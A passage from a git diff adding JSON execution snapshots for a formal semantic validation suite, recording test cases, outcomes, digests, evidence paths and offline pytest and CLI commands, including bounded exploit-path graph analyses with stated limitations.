"d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-1189-execution-v35", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "229a97ef226cf4bd6dd10495b4d45ecb302af558", + "source_state": { + "base_revision": "229a97ef226cf4bd6dd10495b4d45ecb302af558", + "checkout_state": "modified", + "implementation_digest": "84115497702466500afbac9d21a9a6beb68b712aa4b1df558e247dbf4dd7faad", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v36.json b/docs/research/formal-semantic-validation/execution-snapshot-v36.json new file mode 100644 index 000000000..a34397063 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v36.json @@ -0,0 +1,657 @@ +{ + "baseline": { + "execution_id": "issue-1189-execution-v35", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v35.json", + "release_revision": "36.0.0", + "release_sha256": "0a3accc5ec766f3412d94a74a24e44d5925011ff5276e738df859dc12a4375af" + }, + "captured_at": "2026-09-20T08:03:10.928398+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v29", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-1072-execution-v36", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-1072-execution-v36", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v29", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + 